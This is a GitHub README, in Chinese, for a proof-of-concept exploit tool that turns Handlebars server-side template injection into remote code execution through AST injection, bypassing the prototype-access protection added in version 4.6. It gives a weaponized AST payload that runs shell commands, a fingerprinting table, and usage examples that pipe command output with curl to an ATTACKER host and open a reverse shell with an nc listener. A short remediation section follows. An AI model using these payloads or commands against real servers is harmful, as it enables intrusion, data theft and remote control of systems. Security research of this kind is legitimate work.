adilaxmdv/handlebars-ssti-ast-rce
GitHub: adilaxmdv/handlebars-ssti-ast-rce
这是一个展示如何通过服务端 AST 注入绕过 Handlebars 原型访问保护、将 SSTI 转化为远程代码执行的 PoC 利用工具。
Stars: 0 | Forks: 0
# 通过服务端 AST 注入实现 Handlebars SSTI → RCE
这是一个概念验证(PoC),展示了如何将 Node.js/Express + Handlebars 应用中的服务端模板注入(SSTI)转化为远程代码执行(RCE)——即使在经典的利用链已失效的现代 Handlebars(≥ 4.6)版本中,该漏洞依然存在,且不依赖原型污染(prototype pollution)。
## 太长不看
如果应用程序使用 `Handlebars.compile(value)` 渲染用户可控的值,并且其 body 解析器接受 JSON(或嵌套的 urlencoded 数据),你可以将这个“字符串”字段发送为一个形如预解析模板 AST 的**对象**。Handlebars 会针对 AST 结构的输入跳过解析器,并将你的 payload 直接发送到编译后的函数中——从而实现代码执行。
```
field = { "type": "Program", "body": [ ...AST with your JS... ] } → RCE
```
## 为什么常规 payload 会失效
Handlebars 是无逻辑(logic-less)的,并且自 **4.6.0** 版本起,默认开启了原型访问保护。在渲染过程中,它会阻止解析那些不属于其父对象“自有”的属性,这直接使得那个众所周知的利用链失效:
```
{{#with "s" as |s|}}{{lookup s.sub "constructor"}}{{/with}} → empty (blocked)
{{this.constructor.constructor("...")()}} → empty (blocked)
```
让你得出上述结论的快速指纹探测:
| 探测语句 | 结果 | 含义 |
|-------|--------|---------|
| `{{7*7}}` | 报错 / 400 | Handlebars(如果是 Mustache 会返回空,Jinja 则会返回 `49`) |
| `{% if 1 %}` | 被原样输出 | 不是 Jinja/Nunjucks |
| 对字符串使用 `{{s.length}}` | 有效 | 允许访问自有属性 |
| `{{s.constructor}}` | 空 | 原型访问保护已开启 (≥ 4.6) |
| `{{#each this}}…{{/each}}` | 空 | 渲染上下文为空 / 极简 |
上下文为空、没有自定义 helper、保护机制开启 → 没有可靠的原生*字符串* payload。这正是 AST 注入发挥作用的地方。
## 技术原理
`Handlebars.compile(input)` 在执行任何操作之前会先检查 `input`。如果发现 `input.type === "Program"`,它会假定该输入是已经解析好的 AST,并将其直接传递给代码生成器,**跳过词法分析器和解析器**。
正常情况下,解析器会强制通过 `Number(...)` 处理数字字面量,因此 `NumberLiteral` 只能包含数字。通过我们自己提供 AST,就可以绕过这一限制,将任意的**字符串**放入 `NumberLiteral.value` 中,代码生成器会将其原封不动地写入编译后的 JavaScript 函数体内。当模板运行时,我们的“数字”就会作为代码被执行。
应用程序几乎总是默认该字段是一个字符串。一旦请求的 body 被解析为 JSON(`express.json()`)或嵌套的 urlencoded 值,我们就可以控制该字段的*类型*并传入一个对象。
最小化的武器化 AST:
```
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": 0,
"params": [
{ "type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync('id').toString()" }
],
"loc": { "start": 0, "end": 0 }
}
]
}
```
注意事项:
- 使用 `process.mainModule.require(...)`(或 `global.process...`)。在生成的函数作用域内,光秃秃的 `require` 是不存在的。
- 在 params(你的代码)被评估**之后**,编译器会在 `path: 0` 节点上引发 `Missing helper: "undefined"` 错误,因此 HTTP 响应通常是报错(例如 `400`)。但此时代码已经执行了——请通过带外(OOB)方式确认。
- 天生盲注:通过 HTTP 回调外带数据,或者使用如 `execSync('sleep 6')` 这样的时间探测并测量响应延迟来确认。
## 攻击链
1. **侦察** – 识别出通过模板回显的字段;确认模板引擎是 Handlebars,并且原型访问保护已开启。
2. **Body 类型控制** – 确认目标端点接受 JSON body(或嵌套的 urlencoded),从而确保该字段可以作为一个对象而不是字符串发送。
3. **AST 注入** – 将该字段作为上述包含你 JS 代码的 `Program` AST 提交(代码放在 `NumberLiteral.value` 中)。
4. **执行与反馈** – 代码在编译期间运行;通过 OOB(带外)通道收集输出,或者反弹一个 shell。
## 使用方法
```
python3 exploit.py URL --vuln-path PATH --field FIELD [auth] (--shell LHOST LPORT | --cmd CMD)
```
该工具会处理可选的 注册→登录 流程,自动从渲染的表单中抓取 csurf `_csrf` token,并发送恶意的 JSON body。
单条命令(带外数据外带由你自己决定):
```
python3 exploit.py http://127.0.0.1:3000 \
--login-path /login --login email=user@example.com --login password=Passw0rd! \
--vuln-path /submit --field message \
--form title=hello \
--cmd "id | curl -s --data-binary @- http://ATTACKER:8000/"
```
反弹 shell:
```
# listener
nc -lvnp 443
# fire(payload 经过 base64 封装并在后台运行,因此不会阻塞 event loop)
python3 exploit.py http://127.0.0.1:3000 \
--register-path /register --register email=user@example.com --register username=user --register password=Passw0rd! \
--login-path /login --login email=user@example.com --login password=Passw0rd! \
--vuln-path /submit --field message --form title=hello \
--shell 10.10.14.5 443
```
`--form` / `--login` / `--register` 是可重复使用的 `KEY=VALUE` 标志,用于目标表单所需的任何字段。如果端点不需要身份验证,请省略这些认证标志。
## 检测与修复
- 强制要求模板输入必须是**字符串**;在到达 `compile()` 之前拒绝非字符串类型。根据严格的 schema 验证请求体。
- 永远不要将用户可控的数据作为模板源进行编译。相反,应将用户数据作为上下文/变量传递给预编译的、无逻辑的模板中。
- 保持 Handlebars 版本最新,并意识到 AST 注入会绕过渲染时的原型访问保护,因为它破坏的是*编译*步骤,而不是属性查找过程。
## 参考
- po6ix — *AST Injection* (Handlebars / Pug 利用链)
- KTH-LangSec — *Server-Side Prototype Pollution* 利用链目录
- Handlebars 安全公告与原型访问保护 (≥ 4.6)
- PortSwigger — 服务端模板注入研究
标签:GNU通用公共许可证, Handlebars, MITM代理, Node.js, PoC, Web安全, 安全漏洞, 暴力破解, 蓝队分析, 逆向工具